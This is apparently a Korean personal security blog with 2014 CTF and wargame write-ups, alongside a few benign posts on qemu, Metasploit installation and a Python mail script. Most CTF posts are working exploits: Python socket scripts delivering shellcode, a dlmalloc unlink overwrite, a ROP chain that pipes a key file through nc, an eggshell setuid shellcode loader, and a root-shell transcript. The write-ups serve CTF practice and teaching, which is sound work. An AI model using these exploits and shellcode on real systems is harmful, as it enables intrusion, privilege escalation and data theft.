[ALLOC][loc=80AA000][size=706]
[ALLOC][loc=80AA2C8][size=819]
[ALLOC][loc=80AA600][size=673]
[ALLOC][loc=80AA8A8][size=1004]
[ALLOC][loc=80AAC98][size=952]
[ALLOC][loc=80AB058][size=755]
[ALLOC][loc=80AB350][size=260]
[ALLOC][loc=80AB458][size=877]
[ALLOC][loc=80AB7D0][size=1245]
[ALLOC][loc=80ABCB8][size=1047]
[ALLOC][loc=80AC0D8][size=1152]
[ALLOC][loc=80AC560][size=1047]
[ALLOC][loc=80AC980][size=1059]
[ALLOC][loc=80ACDA8][size=906]
[ALLOC][loc=80AD138][size=879]
[ALLOC][loc=80AD4B0][size=823]
Write to object [size=260]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copied 93 bytes.
[FREE][address=80A9008]
[FREE][address=80A94F0]
[FREE][address=80A9958]
[FREE][address=80A9D10]
[FREE][address=80AA000]
[FREE][address=80AA2C8]
[FREE][address=80AA600]
[FREE][address=80AA8A8]
[FREE][address=80AAC98]
[FREE][address=80AB058]
[FREE][address=80AB350]
[FREE][address=80AB458]
[FREE][address=80AB7D0]
[FREE][address=80ABCB8]
[FREE][address=80AC0D8]
[FREE][address=80AC560]
[FREE][address=80AC980]
[FREE][address=80ACDA8]
[FREE][address=80AD138]
[FREE][address=80AD4B0]
Did you forget to read the flag with your shellcode?
Exiting

Doug lee malloc exploit chal!!!


* 11th block = size 260 fixed
* except 11th , size random


--IDEA-------------------------------------------------------------
1. fill 11th block with shellcode+NOP
2. make fake chunk size=261, fd = printf_got, bk = 11th block addr
-------------------------------------------------------------------


#!/usr/bin/python
from struct import *
from socket import *

p = lambda x : pack("<L",x)
up = lambda x : unpack("<L",x)[0]

s = socket(AF_INET,SOCK_STREAM)
s.connect(('10.211.55.4',8989))

shellcode = "\xeb\x12\x31\xc9\x5e\x56\x5f\xb1\x15\x8a\x06\xfe\xc8\x88\x06\x46\xe2"+\
"\xf7\xff\xe7\xe8\xe9\xff\xff\xff\x32\xc1\x32\xca\x52\x69\x30\x74\x69"+\
"\x01\x69\x30\x63\x6a\x6f\x8a\xe4\xb1\x0c\xce\x81"
printf_got = 0x804bffc
size = 260
fd = printf_got
bk = 0
payload = ""

print s.recv(1024)
hehe = s.recv(2056)
hehe = hehe.split("\n")
for i in hehe:
if i.find("size=260"):
bk = int(i[12:19],16)
break

payload += shellcode.ljust(260,"\x90")
payload += p(size)
payload += p(fd)
payload += p(bk)

s.send(payload+"\n")
print s.recv(2000)

while 1:
print s.recv(1024)
cmd = raw_input("$ ")
s.send(cmd+"\n")

CLEAR!

2014년 5월 23일 금요일

ebCTF 2013 bf writeup

ebCTF bf exploit!

mangoui-MacBook-Pro:~ kjungi704$ nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: >>.
0x00000000

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

hmm...

brainfuck
> : ++ptr;
< : --ptr;
+ : ++*ptr;
- : --*ptr;
. ; putchar(*ptr);
, : *ptr = getchar();
[ : while(*ptr){
] : }


bf_main ret = 0x08048a6d
shell = 0x08048a6e



mangoui-MacBook-Pro:~ kjungi704$ (python -c 'print ">"*51+"."')|nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: 0x08048a9d

THANKS FOR SUPPORTING US WITH YOUR BRAIN!

0x9c - 0x6e = 46


mangoui-MacBook-Pro:~ kjungi704$ (python -c 'print ">"*51+"-"*46';cat)|nc 10.211.55.4 8989
>> EINDBAZEN FRAINBUCK INTERDERPER READY.
> GIVE ME SOMETHING TO DANCE FOR: id
uid=0(root) gid=0(root) groups=0(root)
whoami
root

Clear!

2014년 5월 15일 목요일

Codegate junior 2014 nuclear exploit

POC exploit code


#!/usr/bin/python
from socket import *
from struct import *
from time import *

p = lambda x : pack("<L",x)
up = lambda x : unpack("<L",x)[0]

s = socket(AF_INET,SOCK_STREAM)
s.connect(('127.0.0.1',1129))

pppr = 0x804917d
ppr = pppr+1
pr = ppr+1
sockopt_got = 0x0804B00C
recv_plt = 0x080488E0
send_plt = 0x08048900
recv_inner = 0x08048A6F
send_inner = 0x08048A0D
freespace = 0x0804b088
offset = 0xb2860
cmd = "cat key | nc localhost 8989"

def leak_passcode():
s.recv(1024)
s.send("target")
s.recv(1024)
s.send("a"*512)
s.recv(1024)
ps = s.recv(1024)
ps = ps.split(":")
return (ps[1])[1:]

def sockoptgot_leak(ps):
s.send("launch")
s.recv(1024)
s.send(ps+"\n")
s.recv(1024)
payload = "a"*528
payload += p(send_inner)
payload += p(ppr)
payload += p(4)
payload += p(sockopt_got)

payload += p(recv_inner)
payload += p(pppr)
payload += p(4)
payload += p(freespace)
payload += p(len(cmd)+1)

payload += p(recv_inner)
payload += p(pppr)
payload += p(4)
payload += p(recv_inner)
payload += p(4)

payload += p(recv_inner)
payload += p(0xdeadbeef)
payload += p(freespace)

s.send(payload+"\n")
s.recv(1024)
sleep(1)
recved = up(s.recv(1024)[:4])
print "this is socketopt : "+hex(recved)
system = recved-offset
print "this is system : "+hex(system)
return system

if __name__=="__main__":
passcode = leak_passcode()
sys = sockoptgot_leak(passcode)
s.send(cmd+"\x00"+"\n")
s.send(p(sys))
print "[*]boom boom boom"

2014년 5월 12일 월요일

mac os x qemu raspbian

1. (Install brew)
ruby -e "$(curl -fsSL https://raw.github.com/Homebrew/homebrew/go/install)"

2. (Install qemu&etc)
brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
brew install https://raw.github.com/Homebrew/homebrew-dupes/master/apple-gcc42.rb
wget http://xecdesign.com/downloads/linux-qemu/kernel-qemu
3. (First Boot)
jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 
4. (Modify)
nano /etc/ld.so.preload
#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so

nano /etc/udev/rules.d/90-qemu.rules
KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n",

nano /etc/X11/xorg.conf
Section "Screen"
Identifier "Default Screen"
SubSection "Display"
Depth 16
Modes "800x600" "640x480"
EndSubSection
EndSection

shutdown -h now
5. (Final Boot)
jungiui-MacBook-Pro:RaspberryPi kjungi704$ qemu-system-arm -kernel kernel-qemu -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw console=ttyAMA0" -hda 2014-01-07-wheezy-raspbian.img 


Kernel-Image download

2014년 5월 11일 일요일

ASIS ctf 2014 Hidden flag Writeup


문제 지문따위 없다.
말그대로 hidden flag 이다. 


음...  x-flag라는것이 수상하다..
그리하여 저 modal box 의 소스를 보니 아래와 같은 jscript 내용이 있었다.

$(document).on('hidden.bs.modal', function (e) {
e.preventDefault();
$(e.target).removeData('bs.modal');

});
var i=0;

var result=['Please try again!', 'Try harder!', 'Your answer is not correct!', 'The submitted flag is not correct!', 'False flag!', 'Wrong answer!', 'Sorry!'];
var final_result="Do you want to hack me?";

$('#flag_submission').submit(function(e){
e.preventDefault();
var shaObj = new jsSHA(document.forms["flag_submission"]["id_flag"].value, "TEXT");
var hash = shaObj.getHash("SHA-256", "HEX");
var shaObj2 = new jsSHA(hash, "TEXT");
var hash2 = shaObj2.getHash("SHA-256", "HEX");
if (document.forms["flag_submission"]["check"].value !== hash2) {
if ($("#id_flag").next().length == 0){
$('

').insertAfter('#id_flag');
}
if (i++>6){
$('#answer').removeClass('alert-danger').addClass('alert');
$('#answer').text(final_result);
}
else $('#answer').text(result[Math.floor(Math.random() * 7)]);
return false;
}

$.ajax({
type: "POST",
url: "/challenges/22/",
data: $('form').serialize(),
success: function(msg){
$("#ModalContainer").html(msg)
$("#modal-dialog").modal('hide');
},
error: function(){
alert("failure");
}
});
});


굳이 해석하자면 내가 인증시도한 flag 값을 sha256 hex로 두번 하고, 소스상의 name="check" 값인 2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1
와 비교한다.

  1. x-flag:
    ASIS_b6b?244608c2?c2e869cb56?67b64?b1
위의  x-flag값 중간중간에 물음표가 있으므로 bruteforcing을 거쳐 ?에 들어갈 단어를 알아낸다!!!


#!/usr/bin/python
from hashlib import *
print "+"*40
a = "b6b?244608c2?c2e869cb56?67b64?b1"
dic = "abcdef0123456789"
haha = []
for i in dic:
for j in dic:
for l in dic:
for q in dic:
haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])
haha.append(a[:3]+i+a[4:12]+j+a[13:23]+l+a[24:29]+q+a[30:])

for i in haha:
if sha256(sha256("ASIS_"+i).hexdigest()).hexdigest() == "2b127c77074e44b6e74074b1eb8d32dfe27fe78e6a05e302baed68e2cc643ca1":
print "ASIS_"+i
exit()
소스가 참 더럽다 더 짧고 이쁘게 짤수있었지만 인증이 먼저이기에...

root@mango:~/asis# python hiddenflag.py 
++++++++++++++++++++++++++++++++++++++++
ASIS_b6be244608c27c2e869cb56167b649b1

clear!

2014년 5월 7일 수요일

exploit-exercises Fusion level00

Level00 source code


#include "../common/common.c"



int fix_path(char *path)

{

char resolved[128];



if(realpath(path, resolved) == NULL) return 1; // can't access path. will error trying to open

strcpy(path, resolved);

}



char *parse_http_request()

{

char buffer[1024];

char *path;

char *q;



printf("[debug] buffer is at 0x%08x :-)\n", buffer);



if(read(0, buffer, sizeof(buffer)) <= 0) errx(0, "Failed to read from remote host"); //if nothing

if(memcmp(buffer, "GET ", 4) != 0) errx(0, "Not a GET request"); //if not "GET "



path = &buffer[4];

q = strchr(path, ' ');

if(! q) errx(0, "No protocol version specified");

*q++ = 0;

if(strncmp(q, "HTTP/1.1", 8) != 0) errx(0, "Invalid protocol");



fix_path(path);



printf("trying to access %s\n", path);

return path;

}



int main(int argc, char **argv, char **envp)

{

int fd;

char *p;



background_process(NAME, UID, GID);

fd = serve_forever(PORT);

set_io(fd);



parse_http_request();

}

exploit source 


#!/usr/bin/python

from struct import *

p = lambda x : pack("<L",x)



shellcode = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" +\

"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" +\

"\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53\x89\xe1\xcd" +\

"\x80"

ret = 0xbf999288

payload = ""

payload += "GET "

payload += "\x90"*139

payload += p(ret)

payload += " HTTP/1.1 "

payload += "\x90"*50

payload += shellcode



print payload

clear!

2014년 4월 21일 월요일

pCTF ezhp 200 exploit only

ezhp 300 exploit!

#!/usr/bin/python



from socket import *

from struct import *



p = lambda x : pack("<L",x)

up = lambda x : pack("<L",x)[0]



s = socket(AF_INET,SOCK_STREAM)

s.connect(('127.0.0.1',8989))



puts_got = 0x0804A008

shellcode = ""

nopsled = "\x90"*90

payload = nopsled+shellcode





def write(s,size)

s.send("1\n")

s.recv(1024)

s.send(size)



def change(s,num,size,data):

s.send("3\n")

s.recv(1024)

s.send(num)

s.recv(1024)

s.send(size)

s.recv(1024)

s.send(data)



def main():

print s.recv(2048) #start!

write(s,4)

s.recv(1024)

change(s,0,100,p(puts_got)*9)

s.recv(1024)

write(s,4)

s.recv(1024)

change(s,0,len(payload),payload)

s.recv(1024)

s.send("1\n")





if __name__=="__main__":

main()

CLEAR!

2014년 4월 15일 화요일

pCTF doge_stege forensic 100 writeup

간단한 문제였다.



적절한 툴을 사용하여 풀었다.



중간쪽에 어렴풋이 보이는.
pctf{keep_doge_alive_2014}
CLEAR!

pCTF mtpox web 150 writeup

http://54.211.6.40/ 에 접속시 이런 서비스가 돌아가고있었다.



LFI 취약점을 사용해  admin.php의 내용을 미리 엿볼수있었고,


소스도 볼수있었다.ㅎㅎㅎㅎㅎㅎ

아는 형에게 물어본 결과 hash extension attack 인것을 알고는 hash_extender 를 사용하여


kjungi704@jungiui-MacBook-Pro hash_extender $ for((i=1;i<=50;i++));do ./hash_extender -d "b:0;" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a "b:1;" --out-data-format html -l $i >> mtpox_auth; done

kjungi704@jungiui-MacBook-Pro hash_extender $ for((i=1;i<=50;i++));do ./hash_extender -d ";0:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ";1:b" --out-data-format html -l $i >> mtpox_hsh; done

이렇게 길이를 모르기때문에 1~50 길이의 해쉬를 새로 생성하였다.
그러나 다시 읽어본결과 http://54.211.6.40/index.php?page=about 에 'admin cookie using by 8-byte salt'  라는 문구가 있었고, 고생을 할필요가 없었기에,

kjungi704@jungiui-MacBook-Pro hash_extender $ ./hash_extender -d "b:0;" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a "b:1;" --out-data-format html

kjungi704@jungiui-MacBook-Pro hash_extender $ ./hash_extender -d ";0:b" -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ";1:b" --out-
data-format html

이렇게 이렇게 해쉬를 생성하여, 쿠키값에 넣어줬더니,

admin 을 따게되었다.

그리곤 저 입력 form에 sql injection을 하여 table 명은 plaidcoin_wallets 라는것을 알게되었고, column은 id와 coins가 있다는것을 알게되었다.

table과 column명을 모두 알아냈기에 공격을 하여 키값을 획득하였다.


CLEAR!

2014년 4월 12일 토요일

linux metasploit install ubuntu

sudo su

apt-get -y install build-essential zlib1g zlib1g-dev  libxml2 libxml2-dev libxslt-dev locate  libreadline6-dev libcurl4-openssl-dev git-core libssl-dev libyaml-dev openssl autoconf libtool  ncurses-dev bison curl wget postgresql postgresql-contrib libpq-dev  libapr1 libaprutil1 libsvn1  libpcap-dev

apt-get install git-core postgresql curl ruby1.9.3 nmap gem
gem install wirble sqlite3 bundler

cd /opt
git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
bundle install


./msfconsole

2014년 3월 30일 일요일

파이썬 웹 이미지 크롤러 / python web image crawler

재미로 짜본 파이썬 웹 이미지 크롤러이다.
실행 -> 검색어지정 -> 크롤링 -> 디렉토리생성 -> 저장 -> 이미지 압축

자세한건 동영상으로,.....


2014년 2월 27일 목요일

Codegate 2014 weirdshark writeup / 풀이


pcap파일이 다운이 되고 wireshark로 열어보려하니까 다음과 같은 오류가 발생하였다.

검색결과 pcapfix, pcaprewrite같은 툴들이 있었지만, 헥스에디터로 열어서 간단하게 조작하여주었다.



 왼쪽의 사진은 복구하기전 즉 패킷길이와 패킷캡쳐길이가 맞지않는 오리지널 파일이고,
 오른쪽의 사진은 패킷길이와 패킷캡쳐길이를 같게해준후의 파일이다.
 
그후 wireshark로 분석하여 http로 전송되는 파일들을 다 export 한 결과, pdf파일이 있었다.




Ta Da!!



Flag = FORENSICS_WITH_HAXORS


Eggshell source code / 에그쉘 소스 (include setreuid)

eggshell.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" //setuid(geteuid())
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
 "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void)
{
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
   char *buff, *ptr, *egg;
   long *addr_ptr, addr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
   int i, eggsize=DEFAULT_EGG_SIZE;

   if (argc > 1) bsize = atoi(argv[1]);
   if (argc > 2) offset = atoi(argv[2]);
   if (argc > 3) eggsize = atoi(argv[3]);

   if (!(buff = malloc(bsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   if (!(egg = malloc(eggsize))) {
     printf("Can't allocate memory.\n");
     exit(0);
   }

   addr = get_esp() - offset;

   printf("Using address: 0x%x\n", addr);

   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
     *(addr_ptr++) = addr;

   ptr = egg;
   for(i = 0; i < eggsize - strlen(shellcode) - 1; i++)
     *(ptr++) = NOP;
   for(i = 0; i < strlen(shellcode); i++)
     *(ptr++) = shellcode[i];

   buff[bsize - 1] = '\0';
   egg[eggsize - 1] = '\0';
   memcpy(egg,"EGG=",4);
   putenv(egg);
   memcpy(buff,"RET=",4);
   putenv(buff);
   system("/bin/bash");
}

2014년 2월 3일 월요일

Python wxpython gui programming / python gui 프로그램 만들기

심심해서 재미삼아 만들어보았다.





import wx

class TestFrame(wx.Frame):
def __init__(self,parent,id,title):
wx.Frame.__init__(self, parent, id, title, wx.DefaultPosition, wx.Size(580,512))
panel = wx.Panel(self,-1,(0,0),(300,400), style=wx.SUNKEN_BORDER)
self.picture=wx.StaticBitmap(panel)
panel.SetBackgroundColour(wx.WHITE)
self.picture.SetFocus()
self.picture.SetBitmap(wx.Bitmap('image/blah.bmp'))

class TestApp(wx.App):
def OnInit(self):
frame = TestFrame(None, -1, "bonjor mango")
frame.CenterOnScreen()
StatusBar = frame.CreateStatusBar()
StatusBar.SetStatusText('haha')

MenuBar = wx.MenuBar()
menu = wx.Menu()
menu.Append(wx.ID_EXIT, 'Exit\tAlt+q', 'exit')
MenuBar.Append(menu, '&General')

menu1 = wx.Menu()
menu1.Append(200, 'Test', 'menu')
menu1.Append(201, 'Copy', 'copy')
menu1.Append(202, 'Paste', 'paste')
MenuBar.Append(menu1, '&Edit')

menu2 = wx.Menu()
menu2.Append(wx.ID_OPEN, 'Open\tCtrl+o', 'open')
MenuBar.Append(menu2,'&fuck')

frame.SetMenuBar(MenuBar)

frame.Show(True)
return True

app = TestApp(0)
app.MainLoop()

[ Layer7 ] Layer7 홈페이지 / Layer7 Homepage

click : layer7.kr

Python SMTP email / 파이썬 메일

심심하길래 파이썬으로 재미있는 프로그램을 만들어 보았다.

평소 리눅스 텍스트모드에서 작업하다가 아이디어나 기억해야할것들이 생각나서 폰으로 메일을 보내거나, 메일을 키고 보내는 불편함을 가지고 있던 나는, 텍스트모드에서도 간단하게 메일을 보내고 싶었다.

우선 이름은 mango mail sender.
20분정도의 코딩과 설정후 성공적으로 메일이 보내지는것을 확인했다.


















#난 gmail lover 이기때문에 gmail사용자만 보낼수있게 하였다.

이렇게 자신의 메일주소, 비밀번호, 상대의 메일주소를 쓰면 굳이 메일에 들어가지 않아도 메일을 보낼수있다.

다시 지루해진 나는 굳이 mail.py가 들어있는 디렉토리가 아니여도 메일을 보낼수있도록 하기위해 
root@mango:/bin# cp /root/mail.py ./

그냥 나의 프로그램을 /bin에 넣어버렸다.(ㅋ)
그리고는 이름을 sendmail.py로 바꾸어 버렸고, .py가 붇는것이 보기싫어서 alias설정을 해버렸다.
root@mango:~# vi /etc/profile
root@mango:~# source /etc/profile
이렇게 alias 로 박아버린 나는 나의 하찮은 프로그램을 실행시켜보았다.




재미있다.

소스의 수준은 바닥이지만 올려놓고 반성하련다.


#!/usr/bin/python

from email.mime.text import MIMEText
from smtplib import *

me = ""
you = ""
host = "smtp.gmail.com"
pw = ""
sub = ""

def mailgo():
input_list = []
tosend = ""
while True:
input_str = raw_input(">")
if input_str == "#end":
break
else:
input_list.append(input_str)

for line in input_list:
tosend += line+"\n"

msg = MIMEText(tosend)
msg["Subject"] = sub
msg["From"] = me
msg["To"] = you
print "-----------------------------\nIn process..."
s=SMTP_SSL(host,465)
try:
s.login(me,pw)
s.sendmail(me,you,msg.as_string())
print "\nSent.\n"
except:
print "\nError.\n"
exit()
s.quit()

if __name__=='__main__':
me = raw_input("My email : ")
pw = raw_input("Email pw : ")
you = raw_input("-----------------------------\nEmail to : ")
sub = raw_input("-----------------------------\nTitle : ")
mailgo()

다음번엔 파일첨부도 가능하게 해서 내가 귀찮지않게 만들어야겠다.


Reversing.kr ransomeware 풀이

<upx로 패킹되어있으므로 언패킹한다.>
올리로 열어 분석한결과 file파일을 복호화하는 부분이 있었다.
그부분을 해석하자면,
0xFFFFFF-- ^ Key[i] ^ 0xFF = file[i] 이다. (--부분은 run.exe의 hex차례대로)

run.exe의 뒷부분을 보면 모조리 0x00으로 들어차있다.
0x00과 xor연산을 했다면 일정하게 반복될것이므로, file파일에서 반복되는부분을 찾아냈다.



enc = [0x93,0x9A,0x8B,0x8C,0x8F,0x93,0x9E,0x86,0x9C,0x97,0x9A,0x8C,0x8C]
data = 0x00
key = []
cnt=0
for i in range(len(enc)):
if cnt%13 == 0:
cnt=0
key.append(chr(enc[cnt]^(data^0xff)))
cnt+=1
print key


>>> letsplaychess
key를 악당에게 돈을 주지않고도 얻어내었으므로, ransomeware에 넣어본다.

그리고 file을 헥스에디터로 열어보니 헤더가 MZ..으로 시작했으므로 날렵하게 .exe파일로 바꾸어준후 실행하니 답이 나왔다.

Solved!

2014년 2월 1일 토요일

Reversing.kr Multiplicative 풀이

그냥 자바디컴파일을 한다.


// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3)
// Source File Name: JavaCrackMe.java

import java.io.PrintStream;

public class JavaCrackMe
{

public JavaCrackMe()
{
}

public static final synchronized volatile transient void main(String args[])
{
try
{
System.out.println("Reversing.Kr CrackMe!!");
System.out.println("-----------------------------");
System.out.println("The idea came out of the warsaw's crackme");
System.out.println("-----------------------------\n");
long l = Long.decode(args[0]).longValue();
l *= 26729L;
if(l == 0xeaaeb43e477b8487L)
System.out.println("Correct!");
else
System.out.println("Wrong");
}
catch(Exception exception)
{
System.out.println("Please enter a 64bit signed int");
}
}
}


힌트 : 수학;;

Reversing.kr CSHOP 풀이



private void ƒƒƒƒ_Click(object sender, EventArgs e)
{
this.lbl .Text = "W";
this.lbl
.Text = "5";
this.lbl
.Text = "4";
this.lbl .Text = "R";
this.lbl .Text = "E";
this.lbl .Text = "6";
this.lbl .Text = "M";
this.lblT.Text = "I";
this.lbl
.Text = "P";
this.lbl .Text = "S";
this.lblT.Text = "P";
this.lbl .Text = "6";
this.lbl .Text = "S";
}



이게끝일까?
정답...

2014년 1월 31일 금요일

함수 호출시 plt / got 정리 [ How plt&got works when fuction call ]

plt : procedure linkage table
got : global offset table

=====function call=====
1. function call (ex:printf)
2. goto plt
3. jmp *funcaddr(got)
4. in got there is addr for plt's push
5. restart plt
6. _dl_runtime_resolve() call
7. _dl_runtime_resolve() function will call _dl_fixed func and insert real function(printf)'s addr to got
8. real function addr is saved in got and jump to real function addr by got


=====second function call=======
1. function call(ex:printf)
2. goto plt
3. jump *funcaddr(got)
4. jump to function's real addr in got by got

2014년 1월 28일 화요일

Codegate2013 vuln 300

vuln300 download
환경 : ubuntu 13.10 / aslr,nx on


ida로 분석을 해보았다.
&dest+4+입력값이 복사되는위치인것 같은데, 만약 입력값을 -4로 한다면 &dest+4-4가 되어 &dest의 시작주소에 복사가 될것이다.

또한 저 vuln_function을 호출시 &dest의 주소는 이후 이중포인터로 호출되는데, 그렇다면 쉘코드를 .bss의주소인 0x080491e0에 넣어준다면 될것이다.


#!/usr/bin/python

from struct import *

p=lambda x:pack("<I",x)

s_addr=0x080491e0
shellcode="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
payload=""

payload += "-4\n"
payload += p(s_addr+4)
payload += p(s_addr+8)
payload += shellcode

print payload



pwned!!

2014년 1월 26일 일요일

ubuntu 13.10 & etc ASLR disable / 우분투 ASLR 해제

root@mango-virtual-machine:/proc/sys/kernel# cat /proc/self/maps 
08048000-08053000 r-xp 00000000 08:01 655385     /bin/cat
08053000-08054000 r--p 0000a000 08:01 655385     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 655385     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b72bf000-b73f1000 r--p 00858000 08:01 7674       /usr/lib/locale/locale-archive
b73f1000-b75f1000 r--p 00000000 08:01 7674       /usr/lib/locale/locale-archive
b75f1000-b75f2000 rw-p 00000000 00:00 0 
b75f2000-b77a0000 r-xp 00000000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b77a0000-b77a2000 r--p 001ae000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b77a2000-b77a3000 rw-p 001b0000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b77a3000-b77a6000 rw-p 00000000 00:00 0 
b77b8000-b77b9000 r--p 00855000 08:01 7674       /usr/lib/locale/locale-archive
b77b9000-b77bb000 rw-p 00000000 00:00 0 
b77bb000-b77bc000 r-xp 00000000 00:00 0          [vdso]
b77bc000-b77dc000 r-xp 00000000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b77dc000-b77dd000 r--p 0001f000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b77dd000-b77de000 rw-p 00020000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
bfef4000-bff15000 rw-p 00000000 00:00 0          [stack]
root@mango-virtual-machine:/proc/sys/kernel#
root@mango-virtual-machine:/proc/sys/kernel# cat /proc/self/maps 
08048000-08053000 r-xp 00000000 08:01 655385     /bin/cat
08053000-08054000 r--p 0000a000 08:01 655385     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 655385     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b7239000-b736b000 r--p 00858000 08:01 7674       /usr/lib/locale/locale-archive
b736b000-b756b000 r--p 00000000 08:01 7674       /usr/lib/locale/locale-archive
b756b000-b756c000 rw-p 00000000 00:00 0 
b756c000-b771a000 r-xp 00000000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b771a000-b771c000 r--p 001ae000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b771c000-b771d000 rw-p 001b0000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b771d000-b7720000 rw-p 00000000 00:00 0 
b7732000-b7733000 r--p 00855000 08:01 7674       /usr/lib/locale/locale-archive
b7733000-b7735000 rw-p 00000000 00:00 0 
b7735000-b7736000 r-xp 00000000 00:00 0          [vdso]
b7736000-b7756000 r-xp 00000000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7756000-b7757000 r--p 0001f000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7757000-b7758000 rw-p 00020000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
bfebf000-bfee0000 rw-p 00000000 00:00 0          [stack]

root@mango-virtual-machine:/proc/sys/kernel# sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
root@mango-virtual-machine:/proc/sys/kernel# cat /proc/self/maps 
08048000-08053000 r-xp 00000000 08:01 655385     /bin/cat
08053000-08054000 r--p 0000a000 08:01 655385     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 655385     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b7ae1000-b7c13000 r--p 00858000 08:01 7674       /usr/lib/locale/locale-archive
b7c13000-b7e13000 r--p 00000000 08:01 7674       /usr/lib/locale/locale-archive
b7e13000-b7e14000 rw-p 00000000 00:00 0 
b7e14000-b7fc2000 r-xp 00000000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc2000-b7fc4000 r--p 001ae000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc4000-b7fc5000 rw-p 001b0000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
b7fc5000-b7fc8000 rw-p 00000000 00:00 0 
b7fda000-b7fdb000 r--p 00855000 08:01 7674       /usr/lib/locale/locale-archive
b7fdb000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7ffe000-b7fff000 r--p 0001f000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
b7fff000-b8000000 rw-p 00020000 08:01 918431     /lib/i386-linux-gnu/ld-2.17.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
root@mango-virtual-machine:/proc/sys/kernel#
root@mango-virtual-machine:/proc/sys/kernel# cat /proc/self/maps 
08048000-08053000 r-xp 00000000 08:01 655385     /bin/cat
08053000-08054000 r--p 0000a000 08:01 655385     /bin/cat
08054000-08055000 rw-p 0000b000 08:01 655385     /bin/cat
08055000-08076000 rw-p 00000000 00:00 0          [heap]
b7ae1000-b7c13000 r--p 00858000 08:01 7674       /usr/lib/locale/locale-archive
b7c13000-b7e13000 r--p 00000000 08:01 7674       /usr/lib/locale/locale-archive
b7e13000-b7e14000 rw-p 00000000 00:00 0 
b7e14000-b7fc2000 r-xp 00000000 08:01 918455     /lib/i386-linux-gnu/libc-2.17.so
